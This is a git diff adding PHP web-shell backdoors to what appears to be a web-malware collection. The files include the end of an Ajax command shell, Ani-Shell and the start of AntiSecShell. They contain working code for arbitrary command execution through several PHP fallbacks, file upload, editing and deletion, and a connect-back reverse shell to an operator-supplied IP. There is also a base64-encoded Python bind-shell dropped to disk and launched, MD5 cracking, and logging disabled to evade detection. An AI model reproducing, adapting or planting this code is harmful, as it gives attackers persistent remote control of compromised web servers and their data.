+ }
+ else
+ {
+ print "I can't write to this directory, please choose another one. Ajax/PHP Command Shell Custom Functions
+If you want to add your own custom command in the Quick Commands list, check
+out the code. The $function array contains \'func name\' => \'javascript function\'.
+Take a look at the built-in functions for examples.
+
+I know this readme isn\'t providing too much information, but hell, does this shell
+even require one :P
+
+- Iron
+ ';
+
+ }
+ elseif(ereg("editfile (.*)",$cmd,$file))
+ {
+ if(file_exists($file[1]) && !is_dir($file[1]))
+ {
+ print "";
+ }
+ else
+ {
+ print "File not found.";
+ }
+ }
+ elseif(ereg("deletefile (.*)",$cmd,$file))
+ {
+ if(is_dir($file[1]))
+ {
+ if(rmdir($file[1]))
+ {
+ print "Directory succesfully deleted.";
+ }
+ else
+ {
+ print "Couldn't delete directory!";
+ }
+ }
+ else
+ {
+ if(unlink($file[1]))
+ {
+ print "File succesfully deleted.";
+ }
+ else
+ {
+ print "Couldn't delete file!";
+ }
+ }
+ }
+ elseif(strtolower($cmd) == "canirun")
+ {
+ print "If any of these functions is Enabled, the shell will function like it should.Enabled Disabled Enabled Disabled Enabled Disabled Enabled Disabled Enabled Disabled shouldn't access.Enabled Disabled Directories Files ";
+
+ if ($handle = opendir($directory[1])) {
+ while (false !== ($file = readdir($handle))) {
+ if(is_dir($file))
+ {
+ $dirs[$i] = $file;
+ $i++;
+ }
+ else
+ {
+ $filez[$f] = $file;
+ $f++;
+ }
+
+ }
+ print "";
+
+ foreach($dirs as $directory)
+ {
+ print "[D] [W] ".$directory." ";
+
+ foreach($filez as $file)
+ {
+ print "[D] ".$file."
";
+ }
+ }
+ elseif(strtolower($cmd) == "about")
+ {
+ print "Ajax Command Shell by Ironfist .Free: $free / $total MBCurrent path: $pathUname -a Output: Command Shell ~ <?php print getenv("HTTP_HOST"); ?>
+
+
+
+
+
+
+
+
+
+Command history
+About
+
+
Ajax/PHP Command Shell by Ironfist
+
+Version
+
+
+
+
+
Thanks to everyone @
+
SharePlaza
+
+
milw0rm
+
+and special greetings to everyone in rootshell
+
+
+
+[Execute command]
+[Upload file]
+[Change directory]
+[Filebrowser]
+[Create File]
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+";
+}
+?>
\ No newline at end of file
diff --git a/web-malware-collection-master/Backdoors/PHP/Ani-Shell.php b/web-malware-collection-master/Backdoors/PHP/Ani-Shell.php
new file mode 100755
index 0000000..0322c98
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/Ani-Shell.php
@@ -0,0 +1,2482 @@
+>>>>>>>> c0d3d by lionaneesh <<<<<<<<<<
+[]========================================
+[]+ Email: lionaneesh@gmail.com +
+[]+ Twitter : twitter.com/lionaneesh +
+[]========================================
+[]
+[]
+[]
+[]
+[]
+[]
+[]
+[]
+[]
+[] C0de For India
+[] Hack For India
+[] Live for India
+[]
+[]
+
+Jai Hind
+*/
+
+ini_set('max_execution_time',0);
+ini_set('memory_limit','999999999M');
+
+
+function Zip($source, $destination) // Thanks to Alix Axel
+{
+ if (!extension_loaded('zip') || !file_exists($source)) {
+ return false;
+ }
+
+ $zip = new ZipArchive();
+ if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
+ return false;
+ }
+
+ $source = str_replace('\\', '/', realpath($source));
+
+ if (is_dir($source) === true)
+ {
+ $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
+
+ foreach ($files as $file)
+ {
+ $file = str_replace('\\', '/', realpath($file));
+
+ if (is_dir($file) === true)
+ {
+ $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
+ }
+ else if (is_file($file) === true)
+ {
+ $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
+ }
+ }
+ }
+ else if (is_file($source) === true)
+ {
+ $zip->addFromString(basename($source), file_get_contents($source));
+ }
+
+ return $zip->close();
+}
+
+if(isset($_GET['zip'])) {
+ $src = $_GET['zip'];
+ $dst = getcwd()."/".basename($_GET['zip']).".zip";
+ if (Zip($src, $dst) != false) {
+ $filez = file_get_contents($dst);
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".strlen($filez));
+ header("Content-disposition: attachment; filename=\"".basename($dst)."\";");
+ echo $filez;
+ }
+ exit;
+}
+
+// ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\
+
+/**************** Defines *********************************/
+
+$greeting = "0x xx W3lc0m3 M4st3r xx x0";
+$user = "lionaneesh";
+$pass = "lionaneesh";
+$lock = "on"; // set this to off if you dont need the login page
+$antiCrawler = "off"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life')
+$tracebackFeature = "off"; // set this feature to on to enable email alerts
+$ownerEmail = "lionaneesh@gmail.com"; // Change this to your email , This email is used to deliver tracebacks about your shell
+$url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
+$phpVersion = phpversion();
+$self = $_SERVER["PHP_SELF"]; // Where am i
+$sm = @ini_get('safe_mode');
+$SEPARATOR = '/'; // Default Directory separator
+$os = "N/D";
+
+if(stristr(php_uname(),"Windows"))
+{
+ $SEPARATOR = '\\';
+ $os = "Windows";
+}
+
+else if(stristr(php_uname(),"Linux"))
+{
+ $os = "Linux";
+}
+
+//*************************************************************/
+
+// -------------- Traceback Functions
+
+function sendLoginAlert()
+{
+ global $ownerEmail;
+ global $url;
+ $accesedIp = $_SERVER['REMOTE_ADDR'];
+ $randomInt = rand(0,1000000); # to avoid id blocking
+ $from = "ani-shell$randomInt@fbi.gov";
+
+ //echo $from;
+
+ if(function_exists('mail'))
+ {
+ $subject = "Shell Accessed -- Ani-Shell --";
+ $message = "
+Hey Owner ,
+
+ Your Shell(Ani-Shell) located at $url was accessed by $accesedIp
+
+ If its not you :-
+
+ 1. Please check if the shell is secured.
+ 2. Change your user name and Password.
+ 3. Check if lock is 0n!
+
+ Thanking You
+
+Yours Faithfully
+Ani-Shell
+ ";
+ mail($ownerEmail,$subject,$message,'From:'.$from);
+ }
+}
+
+//---------------------------------------------------------
+
+
+if(function_exists('session_start') && $lock == 'on')
+{
+ session_start();
+}
+else
+{
+ // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported
+ $lock = 'off';
+}
+
+//logout
+
+if(isset($_GET['logout']) && $lock == 'on')
+{
+ $_SESSION['authenticated'] = 0;
+ session_destroy();
+ header("location: ".$_SERVER['PHP_SELF']);
+}
+
+ini_set('max_execution_time',0);
+
+
+
+/***************** Restoring *******************************/
+
+
+ini_restore("safe_mode_include_dir");
+ini_restore("safe_mode_exec_dir");
+ini_restore("disable_functions");
+ini_restore("allow_url_fopen");
+ini_restore("safe_mode");
+ini_restore("open_basedir");
+
+if(function_exists('ini_set'))
+{
+ ini_set('error_log',NULL); // No alarming logs
+ ini_set('log_errors',0); // No logging of errors
+ ini_set('file_uploads',1); // Enable file uploads
+ ini_set('allow_url_fopen',1); // allow url fopen
+}
+
+else
+{
+ ini_alter('error_log',NULL);
+ ini_alter('log_errors',0);
+ ini_alter('file_uploads',1);
+ ini_alter('allow_url_fopen',1);
+}
+
+// ----------------------------------------------------------------------------------------------------------------
+
+
+?>
+
+
+Ani-Shell | India
+
+
+
+
+
Lock is Switched Off! , The shell can be accessed by anyone!
+
+
+
+
+
+
+
+
+[]========================================
+[]--------------Ani Shell-----------------
+[]----------------------------------------
+[]========================================
+[]>>>>>>>>> c0d3d by lionaneesh <<<<<<<<<<
+[]========================================
+[] Email: lionaneesh@gmail.com +
+[] Twitter : twitter.com/lionaneesh +
+[]========================================
+[]
+[]
+[]
+[]
+[]
+[]
+[]
+[]
+[]
+[] C0de For India
+[] Hack For India
+[] Live for India
+[]
+[]
+
+
+
+
+
+ // include("http://ani-shell.sourceforge.net/wassup.txt");
+ //
+ ?>
+
+
+
+
+
+
+
+
+
+
+ $mod; $i++)
+ {
+ $size /= $mod;
+ }
+
+ return round($size, 2) . ' ' . $units[$i];
+ }
+
+function getClientIp()
+{
+ echo $_SERVER['REMOTE_ADDR'];
+}
+
+function getServerIp()
+{
+ echo getenv('SERVER_ADDR');
+}
+function getSoftwareInfo()
+{
+ echo php_uname();
+}
+function diskSpace()
+{
+ echo HumanReadableFilesize(disk_total_space("/"));
+}
+function freeSpace()
+{
+ echo HumanReadableFilesize(disk_free_space("/"));
+}
+function getSafeMode()
+{
+ global $sm;
+ echo($sm?"ON (Most of the Features will Not Work)":"OFF");
+
+}
+
+function getDisabledFunctions()
+{
+ if(!ini_get('disable_functions'))
+ {
+ echo "None";
+ }
+ else
+ {
+ echo @ini_get('disable_functions');
+ }
+}
+
+function getFilePermissions($file)
+{
+
+$perms = fileperms($file);
+
+if (($perms & 0xC000) == 0xC000) {
+ // Socket
+ $info = 's';
+} elseif (($perms & 0xA000) == 0xA000) {
+ // Symbolic Link
+ $info = 'l';
+} elseif (($perms & 0x8000) == 0x8000) {
+ // Regular
+ $info = '-';
+} elseif (($perms & 0x6000) == 0x6000) {
+ // Block special
+ $info = 'b';
+} elseif (($perms & 0x4000) == 0x4000) {
+ // Directory
+ $info = 'd';
+} elseif (($perms & 0x2000) == 0x2000) {
+ // Character special
+ $info = 'c';
+} elseif (($perms & 0x1000) == 0x1000) {
+ // FIFO pipe
+ $info = 'p';
+} else {
+ // Unknown
+ $info = 'u';
+}
+
+// Owner
+$info .= (($perms & 0x0100) ? 'r' : '-');
+$info .= (($perms & 0x0080) ? 'w' : '-');
+$info .= (($perms & 0x0040) ?
+ (($perms & 0x0800) ? 's' : 'x' ) :
+ (($perms & 0x0800) ? 'S' : '-'));
+
+// Group
+$info .= (($perms & 0x0020) ? 'r' : '-');
+$info .= (($perms & 0x0010) ? 'w' : '-');
+$info .= (($perms & 0x0008) ?
+ (($perms & 0x0400) ? 's' : 'x' ) :
+ (($perms & 0x0400) ? 'S' : '-'));
+
+// World
+$info .= (($perms & 0x0004) ? 'r' : '-');
+$info .= (($perms & 0x0002) ? 'w' : '-');
+$info .= (($perms & 0x0001) ?
+ (($perms & 0x0200) ? 't' : 'x' ) :
+ (($perms & 0x0200) ? 'T' : '-'));
+
+return $info;
+
+}
+
+// Dir size
+
+/**
+ * Get the directory size
+ * @param directory $directory
+ * @return integer
+ */
+function dirSize($directory) {
+ $size = 0;
+ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
+ try {
+ $size += $file->getSize();
+ }
+ catch (Exception $e){ // Symlinks and other shits
+ $size += 0;
+ }
+ }
+ return $size;
+}
+
+/***********************************************************/
+// exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
+// Turned OFF!
+/**********************************************************/
+
+
+function exec_all($command)
+{
+
+ $output = '';
+ if(function_exists('exec'))
+ {
+ exec($command,$output);
+ $output = join("\n",$output);
+ }
+
+ else if(function_exists('shell_exec'))
+ {
+ $output = shell_exec($command);
+ }
+
+ else if(function_exists('popen'))
+ {
+ $handle = popen($command , "r"); // Open the command pipe for reading
+ if(is_resource($handle))
+ {
+ if(function_exists('fread') && function_exists('feof'))
+ {
+ while(!feof($handle))
+ {
+ $output .= fread($handle, 512);
+ }
+ }
+ else if(function_exists('fgets') && function_exists('feof'))
+ {
+ while(!feof($handle))
+ {
+ $output .= fgets($handle,512);
+ }
+ }
+ }
+ pclose($handle);
+ }
+
+
+ else if(function_exists('system'))
+ {
+ ob_start(); //start output buffering
+ system($command);
+ $output = ob_get_contents(); // Get the ouput
+ ob_end_clean(); // Stop output buffering
+ }
+
+ else if(function_exists('passthru'))
+ {
+ ob_start(); //start output buffering
+ passthru($command);
+ $output = ob_get_contents(); // Get the ouput
+ ob_end_clean(); // Stop output buffering
+ }
+
+ else if(function_exists('proc_open'))
+ {
+ $descriptorspec = array(
+ 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
+ );
+ $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
+ if(is_resource($handle))
+ {
+ if(function_exists('fread') && function_exists('feof'))
+ {
+ while(!feof($pipes[1]))
+ {
+ $output .= fread($pipes[1], 512);
+ }
+ }
+ else if(function_exists('fgets') && function_exists('feof'))
+ {
+ while(!feof($pipes[1]))
+ {
+ $output .= fgets($pipes[1],512);
+ }
+ }
+ }
+ pclose($handle);
+ }
+
+ return(htmlspecialchars($output));
+
+}
+
+function magicQuote($text)
+{
+ if (!get_magic_quotes_gpc())
+ {
+ return $text;
+ }
+ return stripslashes($text);
+}
+
+function md5Crack($hash , $list)
+{
+ $fd = fopen($list,"r");
+ if( strlen($hash) != 32 || $fd == FALSE)
+ {
+ // echo "$hash , " . strlen($hash) ." , $list , $fd"; // Debugging
+ return "
Hash or List invalid!
";
+ }
+ else
+ {
+ while (! feof( $fd ))
+ {
+ if( ($pwdList = fgets( $fd, 1024 )) == FALSE)
+ {
+ break;
+ }
+ $pwdList = trim($pwdList);
+
+ if(md5($pwdList) == $hash )
+ {
+ return "\n
Hash Cracked \n
Planintext : $pwdList
";
+ }
+ }
+
+ }
+}
+
+function exec_query_mysql($query,$sql_server,$sql_port,$sql_db,$sql_user,$sql_pass)
+{
+ $link = mysql_connect($sql_server.":".$port,$sql_user,$sql_pass);
+ if(!$link)
+ {
+ return 'Could not connect: ' . mysql_error();
+ }
+ $resource = mysql_query($query);
+ if(!$resource) return(mysql_error());
+}
+
+//------------------------------------------------------------------------------------------------
+
+
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ You are ".trim(exec_all("whoami"))."
";
+ }
+ else
+ {
+ echo "Rooting Failed
";
+ }
+ }
+ }
+ else
+ {
+ echo "Permission Denied
";
+ }
+ ?>
+
+
+
+
+ File uploaded to $uploadPath";
+ }
+ else
+ {
+ echo "Failed to upload file to $uploadPath
";
+ }
+ }
+ }
+ else
+ {
+ ?>
+
+
+ Overwritten Files :-
+
+
+ ">
+
+
+
+
+
+
+
+
+
+
+ Note : Any one of the following options is compulsory to be filled rest can be left blank.
+
+ The Program is now trying to connect!";
+ $ip = $_POST['ip'];
+ $port=$_POST['port'];
+ $sockfd=fsockopen($ip , $port , $errno, $errstr );
+ if($errno != 0)
+ {
+ echo "$errno : $errstrFatal : An unexpected error was occured when trying to connect!
";
+ }
+ else
+ {
+ fputs ($sockfd ,"\n=================================================================\nAni-Shell | C0d3d by lionaneesh | India\n=================================================================");
+ $pwd = exec_all("pwd");
+ $sysinfo = exec_all("uname -a");
+ $id = exec_all("id");
+ $dateAndTime = exec_all("time /t & date /T");
+ $len = 1337;
+ fputs($sockfd ,$sysinfo . "\n" );
+ fputs($sockfd ,$pwd . "\n" );
+ fputs($sockfd ,$id ."\n\n" );
+ fputs($sockfd ,$dateAndTime."\n\n" );
+ while(!feof($sockfd))
+ {
+ $cmdPrompt ="(Ani-Shell)[$]> ";
+ fputs ($sockfd , $cmdPrompt );
+ $command= fgets($sockfd, $len);
+ fputs($sockfd , "\n" . exec_all($command) . "\n\n");
+ }
+ fclose($sockfd);
+ }
+ }
+ else if(
+ isset($_POST['port']) &&
+ isset($_POST['passwd']) &&
+ $_POST['port'] != "" &&
+ $_POST['passwd'] != "" &&
+ isset($_POST['mode']))
+ {
+ $address = '127.0.0.1';
+ $port = $_POST['port'];
+ $pass = $_POST['passwd'];
+
+ if($_POST['mode'] == "Python")
+ {
+ $Python_CODE = "IyBTZXJ2ZXIgIA0KIA0KaW1wb3J0IHN5cyAgDQppbXBvcnQgc29ja2V0ICANCmltcG9ydCBvcyAgDQoNCmhvc3QgPSAnJzsgIA0KU0laRSA9IDUxMjsgIA0KDQp0cnkgOiAgDQogICAgIHBvcnQgPSBzeXMuYXJndlsxXTsgIA0KDQpleGNlcHQgOiAgDQogICAgIHBvcnQgPSAzMTMzNzsgIA0KIA0KdHJ5IDogIA0KICAgICBzb2NrZmQgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgIA0KDQpleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCg0KICAgICBwcmludCAiRXJyb3IgaW4gY3JlYXRpbmcgc29ja2V0IDogIixlIDsgIA0KICAgICBzeXMuZXhpdCgxKTsgICANCg0Kc29ja2ZkLnNldHNvY2tvcHQoc29ja2V0LlNPTF9TT0NLRVQgLCBzb2NrZXQuU09fUkVVU0VBRERSICwgMSk7ICANCg0KdHJ5IDogIA0KICAgICBzb2NrZmQuYmluZCgoaG9zdCxwb3J0KSk7ICANCg0KZXhjZXB0IHNvY2tldC5lcnJvciAsIGUgOiAgICAgICAgDQogICAgIHByaW50ICJFcnJvciBpbiBCaW5kaW5nIDogIixlOyANCiAgICAgc3lzLmV4aXQoMSk7ICANCiANCnByaW50KCJcblxuPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KcHJpbnQoIi0tLS0tLS0tIFNlcnZlciBMaXN0ZW5pbmcgb24gUG9ydCAlZCAtLS0tLS0tLS0tLS0tLSIgJSBwb3J0KTsgIA0KcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuXG4iKTsgDQogDQp0cnkgOiAgDQogICAgIHdoaWxlIDEgOiAjIGxpc3RlbiBmb3IgY29ubmVjdGlvbnMgIA0KICAgICAgICAgc29ja2ZkLmxpc3RlbigxKTsgIA0KICAgICAgICAgY2xpZW50c29jayAsIGNsaWVudGFkZHIgPSBzb2NrZmQuYWNjZXB0KCk7ICANCiAgICAgICAgIHByaW50KCJcblxuR290IENvbm5lY3Rpb24gZnJvbSAiICsgc3RyKGNsaWVudGFkZHIpKTsgIA0KICAgICAgICAgd2hpbGUgMSA6ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIGNtZCA9IGNsaWVudHNvY2sucmVjdihTSVpFKTsgIA0KICAgICAgICAgICAgIGV4Y2VwdCA6ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICBwaXBlID0gb3MucG9wZW4oY21kKTsgIA0KICAgICAgICAgICAgIHJhd091dHB1dCA9IHBpcGUucmVhZGxpbmVzKCk7ICANCiANCiAgICAgICAgICAgICBwcmludChjbWQpOyAgDQogICAgICAgICAgIA0KICAgICAgICAgICAgIGlmIGNtZCA9PSAnZzJnJzogIyBjbG9zZSB0aGUgY29ubmVjdGlvbiBhbmQgbW92ZSBvbiBmb3Igb3RoZXJzICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tLS0tLS0tLS0iKTsgIA0KICAgICAgICAgICAgICAgICBjbGllbnRzb2NrLnNodXRkb3duKCk7ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIG91dHB1dCA9ICIiOyAgDQogICAgICAgICAgICAgICAgICMgUGFyc2UgdGhlIG91dHB1dCBmcm9tIGxpc3QgdG8gc3RyaW5nICANCiAgICAgICAgICAgICAgICAgZm9yIGRhdGEgaW4gcmF3T3V0cHV0IDogIA0KICAgICAgICAgICAgICAgICAgICAgIG91dHB1dCA9IG91dHB1dCtkYXRhOyAgDQogICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIGNsaWVudHNvY2suc2VuZCgiQ29tbWFuZCBPdXRwdXQgOi0gXG4iK291dHB1dCsiXHJcbiIpOyAgDQogICAgICAgICAgICAgICANCiAgICAgICAgICAgICBleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCiAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tIik7ICANCiAgICAgICAgICAgICAgICAgY2xpZW50c29jay5jbG9zZSgpOyAgDQogICAgICAgICAgICAgICAgIGJyZWFrOyAgDQpleGNlcHQgIEtleWJvYXJkSW50ZXJydXB0IDogIA0KIA0KDQogICAgIHByaW50KCJcblxuPj4+PiBTZXJ2ZXIgVGVybWluYXRlZCA8PDw8PFxuIik7ICANCiAgICAgcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KICAgICBwcmludCgiXHRUaGFua3MgZm9yIHVzaW5nIEFuaS1zaGVsbCdzIC0tIFNpbXBsZSAtLS0gQ01EIik7ICANCiAgICAgcHJpbnQoIlx0RW1haWwgOiBsaW9uYW5lZXNoQGdtYWlsLmNvbSIpOyAgDQogICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCg==";
+
+ $fd = fopen("bind.py","w");
+
+ if($fd != FALSE)
+ {
+ fwrite($fd,base64_decode($Python_CODE));
+
+ if($os == "Linux")
+ {
+ echo "[+] OS Detected = Windows";
+ exec_all("chmod +x bind.py ; ./bind.py");
+
+ // CHeck if the process is running
+
+ $pattern = "bind.py";
+
+ $list = exec_all("ps -aux");
+ }
+ else
+ {
+ echo "[+] OS Detected = Windows";
+ exec_all("start bind.py");
+ // CHeck if the process is running
+
+ $pattern = "python.exe";
+
+ $list = exec_all("TASKLIST");
+ }
+
+
+ if(preg_match("/$pattern/",$list))
+ {
+ echo "Process Found Running! Backdoor Setuped Successfully! :D
";
+ }
+ else
+ {
+ echo "Process Not Found Running! Backdoor Setup FAILED :(
";
+ }
+
+ echo "Task List :- \n$list ";
+
+ }
+ }
+ }
+ else if($_POST['mode'] == "PHP")
+ {
+
+ // Set time limit to indefinite execution
+ set_time_limit (0);
+
+
+ // Set the ip and port we will listen on
+
+
+ if(function_exists("socket_create"))
+ {
+ // Create a TCP Stream socket
+ $sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
+
+
+ // Bind the socket to an address/port
+
+
+ if(socket_bind($sockfd, $address, $port) == FALSE)
+ {
+ echo "Cant Bind to the specified port and address!";
+ }
+ // Start listening for connections
+ socket_listen($sockfd,15);
+
+
+ $passwordPrompt = "\n=================================================================\nAni-Shell | C0d3d by lionaneesh | India\n=================================================================\n\n0xPassword : ";
+
+ /* Accept incoming requests and handle them as child processes */
+ $client = socket_accept($sockfd);
+
+
+ socket_write($client , $passwordPrompt);
+ // Read the pass from the client
+ $input = socket_read($client, strlen($pass) + 2); // +2 for \r\n
+ if(trim($input) == $pass)
+ {
+ socket_write($client , "\n\n");
+ socket_write($client , ($os == "Windows") ? exec_all("date /t & time /t") . "\n" . exec_all("ver") : exec_all("date") . "\n" . exec_all("uname -a"));
+ socket_write($client , "\n\n");
+ while(1)
+ {
+ // Print Command prompt
+ $commandPrompt ="(Ani-Shell)[$]> ";
+ $maxCmdLen = 31337;
+ socket_write($client,$commandPrompt);
+ $cmd = socket_read($client,$maxCmdLen);
+ if($cmd == FALSE)
+ {
+ echo "The client Closed the conection!";
+ break;
+ }
+ socket_write($client , exec_all($cmd));
+ }
+ }
+ else
+ {
+ echo "Wrong Password!";
+ socket_write($client, "sU(|< - 0FF Bitch!\n\n");
+ }
+ socket_shutdown($client, 2);
+ socket_close($socket);
+
+ // Close the client (child) socket
+ //socket_close($client);
+ // Close the master sockets
+ //socket_close($sock);
+ }
+ else
+ {
+ echo "Socket Conections not Allowed/Supported by the server! Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!
+ $data
";
+
+ print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message Mail(s) Sent!
";
+ }
+ }
+ else
+ {
+ ?>
+
+ Mail Sent!";
+ }
+ else
+ {
+ echo "Some Error Occured!
";
+ }
+ }
+ else
+ {
+ ?>
+
+ Permission Denied";
+ else {
+ fwrite($handle,$_POST['content']);
+ echo "Your changes were Successfully Saved!";
+ }
+ }
+ else
+ {
+ echo "File Name Specified does not exists!
";
+ }
+}
+
+// PHP Obfuscator
+
+else if(isset($_GET['obfuscate']))
+{
+ if ( isset($_POST['code']) &&
+ $_POST['code'] != '')
+ {
+ $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),''),9)); // high Compression! :P
+ $encode = '
+
+';
+ }
+ else
+ {
+ $encode = 'Please Enter your Code! and Click Submit! :)';
+ }?>
+
+
+
+
+
+
+ Cant rename the file specified! Please check the file-name , Permissions and try again!
+
+ File Renamed , Return Here
+
+
+ ";
+ $dir = getcwd();
+ if(isset($_GET['dir']))
+ {
+ $dir = $_GET['dir'];
+ }
+ ?>
+
+
+
+
+
+
+
+
+
+
+
+ Could Not Delete the FILE Specified";
+ }
+ }
+
+ else if(isset($_GET['delete_dir']))
+ {
+ if(rmdir(($_GET['delete'])) == FALSE)
+ {
+ echo "Could Not Delete the DIRECTORY Specified
";
+ }
+ }
+
+ if(is_dir($dir))
+ {
+ $handle = opendir($dir);
+ if($handle != FALSE)
+ {
+ if($dir[(strlen($dir)-1)] != $SEPARATOR){$dir = $dir.$SEPARATOR;}
+ while (($file = readdir($handle)) != false) {
+ if ($file != "." && $file != "..")
+ {
+
+ $color = 'red';
+ if(is_readable($dir.$file))
+ {
+ $color = 'yellow';
+ }
+ if(is_writable($dir.$file))
+ {
+ $color = 'green';
+ }
+
+ if(is_dir($dir.$file))
+ {
+ ?>
+
+ / Delete Rename Download (zip)
+
+
+ Delete Rename Download (zip)
+ Permission Denied";
+ }
+ ?>
+
+
+
+
+
+
+
+
+
+
+
diff --git a/web-malware-collection-master/Backdoors/PHP/AntiSecShell.v0.5.txt b/web-malware-collection-master/Backdoors/PHP/AntiSecShell.v0.5.txt
new file mode 100755
index 0000000..1664fd4
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/AntiSecShell.v0.5.txt
@@ -0,0 +1,3185 @@
+
+'.getenv("HTTP_HOST").' - '.$sh_name.'
+
+
+
+';
+//4uth3n71c4710n
+$login = "";
+$md5_pass = "";
+// pu7 y0ur t0r'3d 1p h3r3 0r jus7 l34v3 17 l1k3 7h47
+$ht_yes = array("*");
+$login_txt = "404 - Not Found";
+$accessdeniedmess = "".$sh_name." : access denied";
+$gzipencode = TRUE;
+$updatenow = FALSE;
+$filestealth = TRUE;
+$curdir = "./";
+$tmpdir = "";
+$tmpdir_log = "./";
+$sort_default = "0a";
+$sort_save = TRUE;
+$sess_cookie = "assv4rs";
+$usefsbuff = TRUE;
+$copy_unset = FALSE;
+$hexdump_lines = 8;
+$hexdump_rows = 24;
+$win = strtolower(substr(PHP_OS,0,3)) == "win";
+$disablefunc = @ini_get("disable_functions");
+if (!empty($disablefunc)) {
+ $disablefunc = str_replace(" ","",$disablefunc);
+ $disablefunc = explode(",",$disablefunc);
+}
+//func710n5, cr3d17s g0 70 0r1g1n4l 4u7h0r5
+function get_phpini() {
+ function U_wordwrap($str) {
+ $str = @wordwrap(@htmlspecialchars($str), 100, 'no value ';
+ if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
+ if ($value === null) return 'NULL';
+ if (@is_object($value)) $value = (array) $value;
+ if (@is_array($value)) {
+ @ob_start();
+ print_r($value);
+ $value = @ob_get_contents();
+ @ob_end_clean();
+ }
+ return U_wordwrap((string) $value);
+ }
+ if (@function_exists('ini_get_all')) {
+ $r = "";
+ echo "";
+ foreach (@ini_get_all() as $key=>$value) {
+ $r .= "".$key." ".U_value($value['local_value'])."
".U_value($value['global_value'])."
";
+ }
+}
+function disp_drives($curdir,$surl) {
+ $letters = "";
+ $v = explode("\\",$curdir);
+ $v = $v[0];
+ foreach (range("A","Z") as $letter) {
+ $bool = $isdiskette = $letter == "A";
+ if (!$bool) {$bool = is_dir($letter.":\\");}
+ if ($bool) {
+ $letters .= " [";
+ if ($letter.":" != $v) {$letters .= $letter;}
+ else {$letters .= "".$letter." ";}
+ $letters .= "] ";
+ }
+ }
+ if (!empty($letters)) {Return $letters;}
+ else {Return "None";}
+}
+if (is_callable("disk_free_space")) {
+ function disp_freespace($curdrv) {
+ $free = disk_free_space($curdrv);
+ $total = disk_total_space($curdrv);
+ if ($free === FALSE) {$free = 0;}
+ if ($total === FALSE) {$total = 0;}
+ if ($free < 0) {$free = 0;}
+ if ($total < 0) {$total = 0;}
+ $used = $total-$free;
+ $free_percent = round(100/($total/$free),2)."%";
+ $free = view_size($free);
+ $total = view_size($total);
+ return "$free of $total ($free_percent)";
+ }
+}
+
+if (!function_exists("s3x3c")) {
+ if(is_callable("popen")) {
+ function s3x3c($cmd) {
+ if (!($po=popen("($cmd)2>&1","r"))) { return "popen D1s4bl3d!"; }
+ while (!feof($po)) {
+ $line=fgets($po,1024);
+ $out .= $line;
+ }
+ pclose($po);
+ return $out;
+ }
+ } else {
+ function s3x3c($cmd) {
+ global $disablefunc;
+ $result = "";
+ if (!empty($cmd)) {
+ if (is_callable("exec") and !in_array("exec",$disablefunc)) {
+ exec($cmd,$result);
+ $result = join("\n",$result);
+ } elseif (($result = $cmd) !== FALSE) {
+ } elseif (is_callable("system") and !in_array("system",$disablefunc)) {
+ $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
+ } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
+ $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
+ } elseif (is_resource($fp = popen($cmd,"r"))) {
+ $result = "";
+ while(!feof($fp)) { $result .= fread($fp,1024); }
+ pclose($fp);
+ }
+ }
+ return $result;
+ }
+ }
+}
+function ex($cf3) {
+ $res = '';
+ if (!empty($cf3)) {
+ if(function_exists('exec')) {
+ @exec($cf3,$res);
